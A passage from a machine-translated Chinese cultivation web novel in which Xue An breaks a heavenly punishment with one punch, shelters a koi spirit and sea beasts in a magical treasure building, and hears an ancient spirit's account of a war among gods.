    This kind of sharp pain of the godhead being swallowed, the average person may go crazy after experiencing it once.


    This Chu Xiaoyun has been like a day for a hundred years, and she has survived.


    Moreover, in such a bad situation, the cultivation base of the city lord level shows how amazing her talent and bloodline are.


    For this reason, the cursed goddess will salivate, and will not hesitate to use this method to harvest!


    Thinking of this, Xue An''s eyes flashed, and a surging spirit burst out.


    As soon as I saw the divine mind, the cursed poisonous python that had been swallowing wantonly froze, and then returned to the chain.


    Chu Xiaoyun was taken aback, "My lord..."


    Xue An said lightly: "The seal yoke you have placed is the curse goddess who has placed her own divine personality. If you want to completely break it, you can only kill her! Now I am only temporarily suppressing it for you!"


    Chu Xiaoyun gradually showed excitement.


    In the past few hundred years, she has thought of countless ways, but she can''t move the curse yoke at all.


    But in the hands of Xue An, it broke open so lightly.


    Chu Xiaoyun felt that she finally saw hope, and she was about to say something.


    At this moment, the entire cursed city suddenly began to tremble, Xue An suddenly raised his eyes, his gaze penetrated the layers of barriers, and looked towards the distant sea.


    Chu Xiaoyun also felt something, and said in astonishment: "My lord, it is the sea of ??God''s punishment."


    Xue An smiled slightly, "It''s the **** pattern...the **** pattern is about to appear!"

 Chapter 1068： Head-on confrontation between blood and fire

    At the same time, the entire cursed city was alarmed.


    Countless brilliance rose to the sky, it is the strong from all sides.


    These people stood in the air, looking solemnly towards the sky.


    I saw the sea of ??divine punishment that had been shrouded by heavy clouds, but at this moment, it calmed down for the first time.


    And there are many radiances in it, which is dazzling.


    "what happened?"


    "Could it be that the **** pattern is about to appear!"


    The crowd began to talk quietly.


    At this moment, Xue An''s figure gradually emerged in the air.


    The discussion stopped abruptly, and everyone focused on Xue An.


    Xue An looked at the sky in the distance with a smile, and said lightly: "It''s interesting!"


    After that, Xue An turned into streamer and flew straight to the sky.


    The rest of the people looked at each other, and then they followed closely, following the huge crack that stretched for thousands of miles on the sea, and flew towards the sea of ??God''s punishment.


    At Xue An''s speed, this distance is no more than a flick of a finger.


    When he stood on the sky, overlooking the sea of ??punishment.


    The entire sea area has begun to boil.


    Countless behemoths of the sea surfaced and surrounded in a ring, seeming to be waiting or guarding something.


    And the heaven and the earth are even more quiet and terrifying, it seems that even the wind has stagnated.


    This feeling of suffocation made all the people who rushed afterwards become disgraced.


    "What''s the matter with this breath?"


    "Who knows!"


    At this moment, someone tremblingly exclaimed: "Look at the sky!"


    Everyone looked up after hearing this.


    I saw the thick dark clouds above the sea of ??God''s Punishment slowly turning and forming a huge whirlpool, and the center of the whirlpool pointed directly to the countless giant beasts on the sea.


    The light of thunder was faint, and the air began to smell of burnt. Many people felt that the hair on their faces seemed to stand up.


    But in front of the power of heaven and earth that shocked the strong, Xue An stood in the void with his hands still smiling, and then whispered to himself.


    "I should have thought of it! Haha! It''s getting more and more interesting!"


    At this time, the figure of the cursed empress Chu Xiaoyun appeared behind Xue An. She looked at the dark clouds in the sky with some anxiety, and then said: "Sir, do you want to retreat? This is a **** punishment!"


    "Heaven''s punishment?" Xue An was startled slightly.


    "Well! This sea of ??divine punishment has been passed down since ancient times. Every hundred years, there will be a day of punishment coming to the world to suppress the giant beasts in this sea area and prevent them from chaos!"


    "Looking at the battle situation, this time the Heavenly Punishment should be extremely powerful! But the strange thing is, if it is based on time, it shouldn''t be the time for the Heavenly Punishment to come?" Chu Xiaoyun was a little confused.


    Xue An smiled, "Maybe... I''m scared!"


    Chu Xiaoyun was taken aback for a moment, not understanding what Xue An meant, and was about to ask why.


    at this time.


    In the dark clouds in the sky, the thunder light seemed to have condensed to the extreme, and then a scorching brilliance shot straight down from the top of the vortex, pointing directly at the sea of ??divine punishment.


    But before this brilliance approached the sea, a giant sea beast jumped up from the group of silent giant sea beasts, and faced the thunder light with a decisive attitude.


    Boom!


    After a loud noise, this ocean behemoth was turned into nothing by lightning.


    The thunder light also slowed down, but it continued to fall.


    But then, a scene that stunned everyone appeared.


    I saw that the giant beast in front had just died, and then another giant beast jumped up and went up without hesitation.


    The same result, this behemoth was also turned into nothing by thunder.


    But there is a third, fourth...


    As if these giant ocean beasts no longer fear death at this moment, they all use their bodies to resist the falling thunder.


    at last.


    After the seven or eight giant ocean beasts disappeared, the power of thunder light was exhausted and finally dissipated into the invisible.


    Everyone looks stupid.


    Countless huge ocean beasts jumped up, using their flesh and blood to resist the punishment.


    This scene is almost tragic.


    But this is just the beginning!


    The sky full of lightning seemed to be irritated by the behavior of the behemoth, a more powerful lightning began to brew, and then once again blasted down from the top of the vortex.


    This thunder light is much stronger than the previous ones, and even the space it passes through is slightly distorted.


    But the giant group of beasts seemed to have been discussed. One by one, the giant beasts began to jump up step by step, rushing towards death in a very peaceful manner.


    The tacit understanding and silence seem to be a silent accusation of this punishment.


    Finally, after the loss of thirty or forty behemoths, this heavenly punishment also dissipated.


    Many people involuntarily let out a sigh of relief, feeling fortunate for this group of giant beasts.


    Maybe when they sail through this sea of ??divine punishment, they will also fight the giant beasts to the death.


    But at this moment, they are still infected by the will to survive of this group of giant beasts.


    But at this moment, Xue An slowly raised his head and looked at the dark clouds in the sky. His hair was swaying by the sea breeze, but he couldn''t hide the deep light in his eyes.


    "Next, is the real beginning!"


    The voice just fell.


    There was a sudden silence between heaven and earth, and it seemed that even the wind had stagnated.


    And the thunder light burst in the dark clouds in the sky, and then in an instant, dozens of thunder lights fell.


    Every line is more powerful than the previous Thunder.


    Faced with the dancing Razer in the sky.


    Everyone is discolored by it.


    Only Xue looked quietly.


    The giant beast group seemed to feel the great power of this blow, and after a slight commotion, they once again fought against it.


    There is no extra fancy, some are just the frontal collision of blood and fire.


    at last.


    The light and dust disperse The light of thunder disappears.


    Looking at the sea again, the number of giant beasts has been reduced by more than half.


    All of the survivors were all bruised and bruised, and the gushing blood even dyed the entire sea surface red.


    But even so, these behemoths still adhere to the formation, arranged in a circle, and do not step into the sea area at the center of the circle, seeming to be guarding something.


    finished?


    Many people looked at each other, and this question emerged in their hearts.


    seems to be in response to the question mark in the hearts of the people, and the sky full of thunderclouds that had been gradually dissipating began to regroup.


    In contrast, the sea area in the center of the ring began to shine.


    These bright lights were not eye-catching at first, but soon they were connected together in a strange but extremely coordinated pattern.


    Crack!


    After a crisp sound of broken porcelain, a beam of light rose into the sky from the sea in the center of the circle.


    There are countless kinds of dense runes on this beam of light, which are combined in everything in a very harmonious form.


    Then in the beam of light, a beautiful koi with a tail that looked like smoke, but not a foot long, emerged, and then flew toward the sky along the beam of light.

 Chapter 1069： Sky full of thunderclouds? 1 punch!

    As soon as this koi appeared, these giant ocean beasts all bowed their huge bodies, as if to welcome the arrival of their new king.


    But the thunderclouds in the sky were also completely angry at this moment. They saw countless rays of thunder light condensed at one point, turning into a giant thunder light that people dare not look directly at, smashing this koi straight.


    Without order, these giant ocean beasts jumped up one after another, began to use their huge bodies to fight against the thunder light, escorting this koi to climb up.


    But the thunder light this time is so powerful that these giant beasts are often turned into nothing before they get close.


    But even so, these behemoths did not have the slightest timidity or retreat, but faced the punishment with moths fighting the fire!


    But no matter how fierce these behemoths are, their number is always limited.


    When the koi reached the beam of light halfway, there was not much beast left.


    At this time, a powerful, pure white thunder light crashed down and headed straight for these giant ocean beasts.


    As if feeling the tragic fate ahead, these giant beasts who had never even spoken of death let out a mournful cry.


    The voice is low, like an accusation of unfair fate.


    But at this moment, Xue An, who had been standing by and watching coldly, said calmly: ��In order to continue the fire, even if you turn into nothingness, you will not hesitate! You behemoths are worthy of admiration!��


    Speaking, Xue An''s figure flashed and disappeared instantly. When he appeared again, he had come to the front of the group of giant ocean beasts and faced the falling thunder.


    "My lord!" Chu Xiaoyun exclaimed.


    She never expected that Xue An would actually help at this time.


    Under normal circumstances, shouldn��t it be watching quietly from the sidelines, when these giant beasts are exhausted, then go to harvest?


    And that''s the thunder of God''s punishment!


    Not only Chu Xiaoyun, but everyone who witnessed this scene was stupid.


    Then there was a hint of ecstasy in the eyes of many people.


    is dead!


    is dead, this **** pattern belongs to us!


    But before the wishful thinking of these people started, Xue An stretched out his hand and suddenly grabbed his slender fingers. This powerful thunder light was firmly grasped in the palm of his hand by Xue An.


    In the sound of electric current that made the scalp numb, a group of thunder light was struggling and twisting in Xue An''s palm, trying to break away from Xue An''s control.


    But Xue An��s palm is like a cage. No matter how hard he struggles, this thunder light cannot escape.


    "Hand...hold the thunder light?" Someone exclaimed amidst the confusion of the audience.


    Xue An looked at the light in his hand, the corners of his mouth raised, revealing a faint smile.


    It''s just that this smile is so unattainable under the light of thunder.


    "In order to suppress this place, I didn''t hesitate to use high-level gods as an eye, it is really difficult for you!"


    Speaking, Xue An suddenly shook it.


    ��.


    After a soft beep.


    The thunder light was crushed by Xue Ansheng, turned into a plume of white smoke, and disappeared without a trace.


    The audience was silent.


    These giant ocean beasts are like human nature, they all looked at Xue An with grateful eyes.


    And the koi in the beam of light was swimming up and happily.


    But the sky full of thunderclouds still refused to disperse, and began to spin and condense again, preparing for the next punishment.


    Xue An glanced at the group of giant beasts and smiled faintly, "Well, then I will help you!"


    Speaking, Xue An stepped forward and came directly before the sky full of thunderclouds.


    I saw countless thunder snakes dancing wildly around Xue An.


    Compared with this Lei Hai, Xue An''s figure looks very small.


    But Xue An just smiled coldly at this, and then slowly took a step.


    Boom!


    seemed to be an illusion, the sky full of thunderclouds, which was originally arrogant and domineering, when facing Xue An��s step, they stepped back all the way.


    Everyone looked up, staring dumbfounded.


    Then someone whispered: "Gosh, I''m not mistaken, am I! You scared off Lei Jietian''s punishment?"


    At this moment, Xue An slowly raised his hand, pointed at the black cloud that was steadily rising from the opposite side, and said lightly: "Goodbye!"


    After that, Xue An clenched his palms into a fist and strode out.


    The power of this punch is so powerful that many people even just glanced at it and wanted to vomit blood.


    This punch seemed to have affected the whole world, and it hit the opposite side with an indomitable momentum.


    The sky full of thunderclouds wanted to disperse to avoid this blow.


    Under Xue An��s power, everything is vain.


    Boom!


    After an unspeakable loud noise, thunderclouds scattered across the sky, and the thunder light was directly annihilated.


    In an instant, the sky full of thunderclouds that had just been powerful and incomparable disappeared.


    But the power of Xue An��s punch does not stop there.


    Under the surviving power of the fist, the black cloud that has enveloped the entire sea of ??divine punishment for thousands of years, reveals countless fine runes.


    At the very center of the pattern is a pure and flawless spar.


    This is the formation that sealed this sea area for thousands of years.


    But at this moment, these things were like porcelain under Xue An��s fist, cracks appeared and broke.


    Then the black cloud over the sky was torn apart like rags.


    Amidst the ever-changing clouds and mists, a ray of sunlight casts down, shining on this sea area that has never been reached in thousands of years.


    Everyone who witnessed this scene fell into a petrified state.


    If there is still evidence of Xue An��s strength in the battle of City Lord��s Night Banquet.


    The strength that Xue An has shown now is so powerful that it is almost desperate.


    Just like this punch, it seems to have blasted the sky out of a hole Xue An slowly closed his punches and looked down on the audience.


    Whether it is a human or a sea beast, all bowed their heads, showing their humility at this moment.


    At this time, the koi had also flown to the top of the beam of light.


    Crack!


    After a crisp sound, the beam of light was broken every inch.


    Then the figure of this koi began to soar.


    Splendid light, the scales on this koi gradually condensed from the seal.


    And its eyes began to become smart, even when looking at Xue An, with a touch of childish curiosity!


    Xue An smiled slightly, "It is said that a carp can transform into a dragon by jumping through the dragon gate, but you, as a **** mark made by the blood of an ancient god, can actually change your fate against the sky, and you have your own will. Amazing!"


    When Xue An was talking, this koi looked at Xue An with his head tilted. When Xue An finished speaking, it swam around in the air, touching Xue An with its tail or head from time to time. The children are playing.


    Xue An smiled, "Forget it, if you meet other people, it is estimated that you will be condensed directly! Follow me!"


    Speaking, Xue An said lightly: "Yan''er, release Fu Bao Xiaolou."

 Chapter 1070： Fu Bao Xiaolou·Promotion

    "Good husband" An Yan responded, and her figure appeared next to Xue An, and then sacrificed to Fu Bao Xiaolou.


    When this small building with a shining talisman appeared in front of everyone.


    The crowd exclaimed.


    "what is this"


    "It looks like a talisman"


    "Does that kind of legend really exist?"


    "Nonsense, don''t you see that the gods are all living creatures, is this so strange"


    In these discussions.


    The koi carp happily started to circle around the Fubao Xiaolou, and tried to rush into it several times, but was blocked by an invisible barrier.


    Xue An smiled, then narrowed his eyes, powerful divine thoughts surged out, and began to worship the Talisman Xiaolou.


    As soon as the talisman light flickered, the talisman seals on the outermost layer of the Fubao Xiaolou began to melt, and finally formed a chaotic light.


    "Okay," Xue An said lightly.


    The koi rushed over when he heard the words.


    This time, without barriers, the Koi rushed into the Fubao Xiaolou in an instant, and then a magical scene happened.


    I saw countless talisman patterns appearing on the body of the koi, and they stretched out to connect with this Fubao Xiaolou.


    The light flashes.


    After a few breaths, the koi disappeared, and this small talismanic building gradually began to grow, and the talisman on it began to evolve at an extremely fast speed.


    You must know that this Talisman was originally made by a half-step true fairy master of Talisman, who has exhausted all his life''s hard work, although he has tried his best and has taken advantage of it.


    But this talisman seal was carved by man after all, and since this person''s cultivation level is not high, it is inevitable that there will be omissions and deficiencies.


    But after being integrated with this koi, the rune patterns that were missed started to evolve on their own, making up for the shortcomings, and becoming more natural.


    In this way, the entire Fubao Xiaolou began to strengthen at a speed visible to the naked eye.


    At the same time, I heard the shouts of people from the small building.


    "Fuck, what is going on? Suddenly the house has become so big" This is Hu Ying exclaiming.


    "Master Fox, don''t you see that even the space is getting bigger? Why do I smell a familiar smell?" This is Zhang Xiaoyu talking.


    The two little girls who had practiced writing on the second floor, when they noticed the strangeness, couldn''t help but raised their heads.


    "Sister, it''s strange outside, I can feel it, it seems that there is something strange," Nian Nian said strangely.


    Thinking about it and nodded, "I feel it too, go out and have a look"


    Speaking, the two of them walked out of the room.


    At this time, Hu Ying and Zhang Xiaoyu also came out.


    Then they were all stunned.


    Because what is presented to them at this moment is a spectacle.


    The former Fubao Xiaolou is spacious, but because there are too many things stored in it, it looks a little messy.


    But now, the entire space has increased by more than a hundred times, and it is still extending outward.


    Not only that, but in this space, a sparkling water surface appeared.


    Moreover, hills and trees are also appearing little by little.


    In the blink of an eye, this Fubao Xiaolou became a world of its own.


    The octopus looked silly, and then excitedly waved the octopus tentacles in his hands, "Fuck, I said the breath just now is so familiar, it turned out to be the sea"


    Before she finished her words, Hu Ying knocked on the head of Octopus.


    Zhang Xiaoyu was in pain, but looked at Hu Ying grievously, "Master Fox, why did you hit me again"


    Fox Ying said coldly: "Dare to say swear words in front of the face I miss, believe it or not, I will unload your tentacle and make teppanyaki"


    Zhang Xiaoyu then realized why he was beaten, and hurriedly covered his mouth, "Sorry, I was wrong."


    At this moment.


    The two little girls walked to the water''s edge curiously.


    "Miss me, be careful" Hu Ying shouted solemnly, and she was about to stop.


    Because all these changes were so sudden, Hu Ying was unavoidably full of vigilance.


    At this time, Xue An''s figure appeared in front of her, with a faint smile, "Don''t worry about them, it''s okay"


    "grown ups"


    "Brother Xue" Hu Ying yelled, and then pointed to the front with some doubts, "What''s going on?"


    Xue An smiled, "It''s okay, I just promoted this Fubao Xiaolou to a lower level"


    At this moment.


    I saw a koi emerge from the surface of the water, and then curiously looked at it and missed it.


    The two little girls are squatting by the water to study what is going on.


    When they saw this koi, the two of them were also taken aback.


    One fish, two people, just staring blankly.


    After a long time, Niannian swallowed her saliva, ��A big fish just doesn��t know if it tastes good��


    Thinking about it, I rolled my eyes, and I didn��t bother to pay attention to what I saw. The first reaction was whether I could eat my sister.


    At this time, the koi slowly swam over.


    When they got closer, the two little girls couldn''t help but let out a surprise.


    "so beautiful"


    Niannian wiped the saliva from the corner of her mouth, "Such a beautiful fish, even if it is delicious, I will not eat it."


    I was so courageous to think about it, and even slowly stretched out his hand and gently touched the head of the koi.


    When my finger touched this koi, I thought about it and said with some surprise: "It''s so smooth and soft."


    "Really? Then I will touch it too." Nian Nian stretched out her hand to stroke Koi''s back.


    This koi carp enjoys the caress of the two little girls and spit out a blister comfortably.


    "But how could this fish suddenly appear here?"


    "Daddy must have gotten it back, but I don''t know what this fish will do"


    The two little girls were touching and talking in a low voice.


    At this moment the koi suddenly turned over, and its body suddenly soared. Then, before the two little girls could react, they carried them and flew into the air.


    The two little girls were a little scared at first.


    When the koi was swimming in the air, the two little girls returned to normal, and then they were extremely excited to ride on the fish''s back.


    "This fish can actually fly" Nian Nian was very excited.


    "It''s great that you will be our mount in the future" think about it and say.


    "But what should I call it?" Niannian said.


    Think about it for a moment, and then the eyes light up, "You see it is golden all over, how about calling it Xiaojin"


    boom


    This koi almost planted from the sky.


    and Hu Ying looked at this scene with a bit of amazement, "Brother Xue, what is this koi carp if it is a monster, why is there no monster on it?"


    Zhang Xiaoyu also looked confused, "Yes, sir, although it has the smell of sea water, it does not have the smell of aquatic monsters."


    Xue An smiled, ��Of course it doesn��t have the aura of a demon clan, because it is neither human nor demon nor **** nor ghost."


    "what is that"


    "A Talisman Seal"

 Chapter 1071： The place where the ancient gods fell!

    Fu Bao Xiaolou finally finished promotion.


    I will look again this time, it''s totally different from before.


    At least the space has expanded thousands of times.


    In which mountains, lakes, oceans, etc. are all available, it is already a small world.


    And Xue An can clearly perceive that the entire Fubao Xiaolou is still evolving at a slow speed.


    is like transforming into a living creature, slowly growing.


    At this speed, no one dares to imagine what this Fubao Xiaolou will become.


    Such a miracle made Xue An also amazed.


    At this time, the koi slowly landed with two little girls.


    "Dad! This fish is so fun!" I thought about it and said excitedly.


    "Hmm, and it''s really beautiful! Is it a girl?" Nian-nian asked curiously.


    Xue An smiled, "It has no gender distinction, but you can treat it as a girl!"


    "Wow! Great, you will be my sister from now on! Hurry up and listen to my sister!" Nian Nian stroked the back of the koi fish, obviously very excited.


    The koi wiggled its tail, apparently a little dissatisfied with Nian-nian��s proposal, but Nian-nian mumbled to herself whether she wanted it or not.


    "In the future, you have to listen to what your sister says, otherwise your sister will beat you if she is angry! Just like my sister beat me, hehe, I''m a sister too! By the way, what''s your name? Huh~ Xiaojin can''t do it, it''s too earthy, she doesn''t look like a girl! Little fish can''t do it either, it''s easy to confuse it with Teppanyaki!


    Nian Nian muttered, while looking at the koi, suddenly, her eyes lit up.


    "Look at you so fat! Why don''t you call you Qiuqiu from now on! That''s right, the name is good, it sounds like an appetite!"


    Hearing this name, the koi''s eyes became dull for an instant, and then he began to struggle and twist, and at the same time his stomach was bulging, he was obviously extremely dissatisfied with the name.


    But these performances fell in Niannian''s eyes, but they all turned into excitement.


    "Do you think this name is good too, right? Hehe, that''s it!"


    With that said, Nian Nian turned her head to think about it, and Xue An and others said: "Sister, Dad, Sister Fox, Teppanyaki, I would like to introduce to you grandly, this is my sister Qiuqiu! Qiuqiu, come, Say hello to everyone!"


    The koi screamed mournfully, then rushed from the ground, cruising in grief and angrily in the sky.


    Niannian said with a smile: "Look, Qiuqiu is so satisfied with his name, so happy to fly!"


    I want to come closer and look up, with a strange expression on her small face, "Niannian, are you sure she is happy?"


    "Of course! Don''t you think this name sounds so good...is it appetizing?"


    I thought about it and shook his head, "I don��t think! I still think the name Xiaojin is good, it sounds so rich!"


    "But she is a girl, how can a girl be called Xiaojin?"


    "Why can''t a girl be called Xiaojin? It''s not good for a girl to call Qiuqiu, it sounds like a big fat man!"


    "But I think it��s better to be fatter!"


    "Yeah, that''s how you are!"


    "Sister!" Nian Nian stamped her feet with anger.


    The two little girls began to quarrel over the name.


    Xue An on the side laughed dumbly.


    My two daughters are really different in personalities!


    Think about the quirky, honest and honest thoughts.


    It��s hard to imagine that these are twins!


    At this time, the koi flew up to Xue An, nodded respectfully at Xue An, and then looked at Xue An with eager eyes.


    Xue An was stunned, then shook his head and chuckled, "Are you thinking about those giant ocean beasts, do you want them to come in too?"


    Koi, oh no! It should be called the ball now, and nodded after hearing this.


    "Also, in such a big place, your fish really looks deserted!"


    After that, Xue An flew out of Fu Bao Xiaolou.


    Outside at this moment, the crowd is gathering in the distance to talk.


    When Xue An''s figure reappeared, these people immediately closed their mouths and bowed their heads in fear.


    At this moment, even those who are rebellious, don��t dare to think about it anymore.


    Xue An also ignored these people. He lowered his head and looked at the giant beasts that had gathered on the sea and did not leave.


    "The koi you guarded have now settled in the Fubao Xiaolou. If you want, you can also go in! If you don''t want to, I can give you something for you to practice on your own!"


    These giant beasts heard the commotion for a while, and then after hesitating for a moment, a giant beast with the largest body slowly swam out, bowed its body towards Xue An extremely respectfully, and then released a divine mind.


    seemed to be the order, and the remaining giant beasts also leaned over and bowed their heads.


    Xue An smiled, "Well, if this is the case, then I will let you into the small building!"


    After that, as soon as Xue An waved his hand, Fu Bao Xiaolou showed a thousand rays of light, grabbed the giant beasts above the sea, and brought them all into the Xiaolou.


    So far.


    This sea of ??divine punishment has completely calmed down.


    Chu Xiaoyun stepped forward, bowed and saluted, "Congratulations, my lord for winning the **** pattern!"


    Xue An smiled faintly, then leaned over and stared at the sea under his feet.


    "What do you think should be under this sea?"


    Chu Xiaoyun was taken aback, "My lord, what did you say?"


    Xue An shook his head It��s nothing, I just want to see if the fallen ancient gods are in this place! "


    After that, Xue An pressed his hands virtual, the light in his eyes was bright, and then he pushed forward suddenly.


    "Move the mountains to the sea!"


    Boom!


    The entire sea area was hit by a huge earthquake, and then the boundless sea water began to retreat around Xue An as the center.


    In an instant, the sea water within a hundred li radius receded to the distance, forming a water wall that was ten thousand feet high.


    And the bottom of the sea, appeared in front of everyone.


    People were shocked by Xue An��s shocking method before it was too late.


    Because in the middle of the muddy seabed, it is a huge dark hole with no bottom, in which the brightness is faint, like a ghost.


    The entrance of the giant cave is enclosed by layers of ancient and mysterious runes, and the brilliance in it would have been difficult to leak out.


    But at this moment, a fresh gap has appeared in the seal of the hole, which is obviously broken by the **** pattern koi just now.


    Therefore, the internal brilliance is constantly leaking out.


    Chu Xiaoyun was shocked, "This is..."


    Xue An nodded, "This is where the ancient gods fell!"


    "The reason why there are so many giant ocean beasts in this sea area is because of the birth of this land where the ancient gods fell!".


    "And this divine punishment is to destroy these giant beasts created by the spirit of the ancient gods and prevent them from sitting big and threatening the seal!"


    "It''s just that the original creator didn''t expect that after a long time, a **** pattern will evolve here, which breaks the seal!"

 Chapter 1072： Obsession Transformation

    Chu Xiaoyun was stunned.


    And An Yan on the side couldn''t help asking at this moment: "Husband, who is the one who did all this?"


    "I don''t know, but the answer should be in this ancient cave!"


    After that, Xue An turned his head and smiled at An Yan, "Yan''er, you are waiting here, I will go in and take a look!"


    An Yan said solemnly: "Okay! Husband, be careful!"


    Xue An nodded, then raised his foot and took a step, turning into a streamer, and flew into the huge seabed hole.


    After crossing that layer of seal, Xue An felt that his eyes suddenly went dark, and the pressure suddenly increased.


    is like the surrounding air has turned into glue, full of resistance.


    Xue An did not stop, but accelerated and rushed directly.


    boom!


    As if rushing through an invisible barrier, Xue An felt that his eyes suddenly opened up, and then he couldn''t help but sigh.


    What kind of world is this.


    The sky exudes eternal earthy yellow light.


    The earth is fragmented and extremely barren, with no green spots.


    There is no wind, no sound, nothing.


    There are only the huge corpses on the ground.


    I don''t know how long it has been. Some of these corpses have become dead bones, but even so, they still carry a kind of inherent majesty.


    Xue An was silent while walking.


    Because of the extreme sight, these corpses are densely packed, and there is no end in sight. It is almost like a forest of bones.


    And these corpses, each of them may have been a powerful person before his death.


    But at this moment, all are buried here.


    Xue An stopped, raised his head and quietly looked at a headless corpse that had been turned into withered bones but was still standing.


    This corpse is as high as a hundred feet, and it is considered the largest in this bone forest.


    And even though it has been dead for so long, the power emanating from the skeleton is still moving.


    Based on this, this skeleton was at least a real immortal level, or even a half-step Da Luo level powerhouse.


    is such a powerful god, but even his head has been chopped off by life.


    And Xue An could see that the person who did it only took one blow.


    This shows that the person who did it cut off the head of this **** in one move, and even shattered his godhead and soul.


    This will create this effect.


    And not only this corpse, but the other corpses have extremely terrifying wounds, which also shows the fierceness of the war.


    Xue An''s complexion gradually became serious.


    Because of the number of gods buried in this place, he was shocked.


    And it seems that these gods died in a battle.


    Then, why did these high-level gods fight so desperately?


    Xue An was wondering in his heart.


    at this time.


    An old and tired voice reached his ears.


    "You''re here?"


    Xue An turned around and said coldly: "Who?"


    chuckled a few times, "Don''t worry, I am not malicious, in fact I have been paying attention to you since you came in!"


    Xue An''s eyes were getting colder, revealing the slightest killing intent.


    After entering this area, Xue An has been fully alert, and Shennian has been searching this space constantly, but he has not found anything unusual.


    But this voice said that he was paying attention to himself from the beginning.


    If it is true, then it can only show that the other party has deep attainments in concealment, and even concealed himself.


    Xue An couldn''t help but not raise his vigilance.


    This voice seemed to recognize Xue An��s thoughts, and he couldn��t help but chuckle: ��Don��t be so alert, in fact I am a very special existence, so it��s normal for you to not perceive it!


    said, I saw a bit of brilliance appeared on every bone in this bone forest, and then gathered in one place, condensing into a virtual image of an old man.


    Xue An was stunned, and then a little suddenly said: "Deformation of obsession?"


    The old man was even more surprised than Xue An, "Young man, do you even know this? Yes, I am indeed transformed by the obsession of these countless fallen gods!"


    Xue An''s eyes flickered slightly, and he didn''t know what he was thinking, but he relaxed his guard.


    Because of this obsession, it really does not hurt anyone.


    Because he can''t interfere with anything.


    To put it bluntly, he is only transformed by certain strong emotions, without being causal, naturally it will not have any influence on the surrounding things.


    And when Xue An removed the barrier of divine consciousness that enveloped him.


    The old man gave a startled sound, and then exclaimed in great surprise: "You...are you Chinese?"


    Xue An''s heart was shaken, and he nodded, "Yes! I am Chinese!"


    "Great! Waiting for so long, I thought it would be vain, but I didn''t expect that when the seal was gradually broken, I would meet a Chinese young man who was so amazing and brilliant! It''s worth it! It''s worth it!" The old man said incoherently excitedly.


    Xue An at this moment, despite the suspicions in his heart, still did not disturb the old man to vent his inner excitement.


    It wasn''t until a long time that the old man gradually recovered his calmness, and then he fell back and smiled apologetically at Xue An I am really sorry, so many years of waiting alone made me feel a little bit lonely. It''s hard to control it! "


    Xue An was noncommittal, but just pointed at the boundless corpse, "Can you tell me, what is going on?"


    The old man smiled, then sat on a long thigh bone, "Young man, even if you don''t ask, I will tell you!"


    "Do you know why these corpses died?"


    Xue An did not speak, but listened quietly.


    The old man sighed, "Thousands of years ago, these corpses were all powerhouses of the Protoss, but a great battle caused them all to fall, and even the corpses were sealed, and the root of everything came from one Disagreement!"


    "Difference..." Xue An whispered a few words softly.


    "Yes! And this disagreement originates from your Chinese!"


    Xue An''s heart was shaken, and he said eagerly: "You mean it is related to the Chinese catastrophe ten thousand years ago?"


    The old man was taken aback, and then sighed sadly, "Chinese catastrophe... surely everything happened unavoidably?"


    Then the old man nodded solemnly, "Yes, it is related to the catastrophe of your Chinese people!"


    Xue An''s eyes were getting colder, but he still took a deep breath, and said, "Junior...I wish to hear more!"


    At this point, Xue An has taken the initiative to lower his identity.


    The old man didn��t care about it at all. He just smiled softly and wryly said: "A thousand years ago, the Protoss was tyrannical, and it was divided into several camps! Everything was fine, until... an order came!"

 Chapter 1073： The heroic spirits who died in battle should not be silent

    "Order?" Xue An was startled slightly.


    "Yes, a piece of order! And the content of the order is to dispatch the entire Protoss to deal with the Chinese together!"


    Xue An''s heart gradually became cold, because he thought of the scenes he had seen in Tortoiseshell Secrets.


    The Chinese were slaughtered by countless unrecognizable Void tribes. Although many of them are unclear, the Protoss must be one of them.


    It seems that the first piece of the puzzle has been completed.


    At this time, the old man continued: "This paper order caused an uproar among the entire Protoss! Although a small group of people expressed support for this order, most of the Protoss firmly disagree! Disagreements...hereafter!"


    Speaking of this, the old man looked at Xue An and sighed lightly: "Do you know why so many Protoss opposed this order?"


    Xue An at this moment was shaking, so he just subconsciously asked, "Why?"


    "Because of the protoss at that time, there were actually many ancient Chinese gods!"


    "Hua...An ancient Chinese god?" Xue An was surprised and inexplicable.


    "That''s right, and the ancient Chinese gods at that time were still a power that cannot be underestimated among the gods!" the old man said lightly.


    "Under the power structure at the time, the Chinese ancient gods united with several other closely related ancient gods factions and firmly opposed this paper order!"


    "After all, they can''t deal with their own people!"


    "But just when the voices of opposition occupied the majority, the situation suddenly reversed when the storm was about to pass!"


    The old man narrated what happened next in a very mechanical, non-emotional voice.


    "The Amaterasu Gods, who had already invested in the Chinese ancient gods camp, took the lead in reversing the water. Without any precautions, they killed more than a dozen Chinese ancient gods and severely damaged several Chinese ancient gods! "


    "Immediately afterwards, other Protoss forces that had secretly united together also launched an attack!"


    "For a time, the entire God Realm was shaken by it, the smoke filled the sky, and the killing sound shook the sky!"


    "What kind of battle is this! Faced with ten times as many opponents, the ancient Chinese gods broke out terrifying combat power! I saw with my own eyes a young **** with three heads and six arms holding a flame spear. More than a dozen king-level gods!"


    "And another young ancient **** with a vertical goal directly exploded three Da Luo-level gods!"


    "This battle turned countless gods into corpses! But the ancient Chinese gods survived tenaciously by relying on their strong strength,"


    "But when all the gods who besieged the ancient Chinese gods were terrified, and quietly backed away! A white light flashed!"


    The old man was silent.


    Xue An raised his eyes, "What happened behind?"


    The old man shook his head and smiled bitterly: "The memory came to an abrupt end! Then I only remember that after this white light, the ancient Chinese gods were wiped out, and countless people died in battle. Even if they survived, they all disappeared. Nowhere to go!"


    "The gods who followed the ancient Chinese gods were all brutally cleansed. The gods who originally possessed powerful strength became lambs to be slaughtered!"


    "Although no one gave up resistance, in the end, they were slaughtered and the corpses were also sealed here and suppressed with endless divine punishment!"


    When the old man said this, the fatigue in his voice became more and more obvious.


    "This is the source of this land of God''s Fall!"


    ��!


    Xue An lowered his head and said nothing, until after a long silence, he slowly raised his head.


    "Who gave the order?"


    The voice is very flat, but under this seemingly unhappy voice, there is a monstrous anger that can burn everything.


    The old man smiled bitterly, "I want to tell you, but I''m sorry! I can''t do it! Because this memory has been cut off by life, even I can''t be verified!"


    Xue An had expected this, because it was the same when searching for the memory of King Odin.


    On the key information, everything is shielded by the fog, as if someone has cut all the connections.


    Xue An sneered in his heart, and then continued to ask: "Who did the shot?"


    "I can''t explore the others, but the Amaterasu gods absolutely participated in it, and they were the first to turn back!" said the old man.


    "Okay! Besides you, is there any way to find the traces of the original war?"


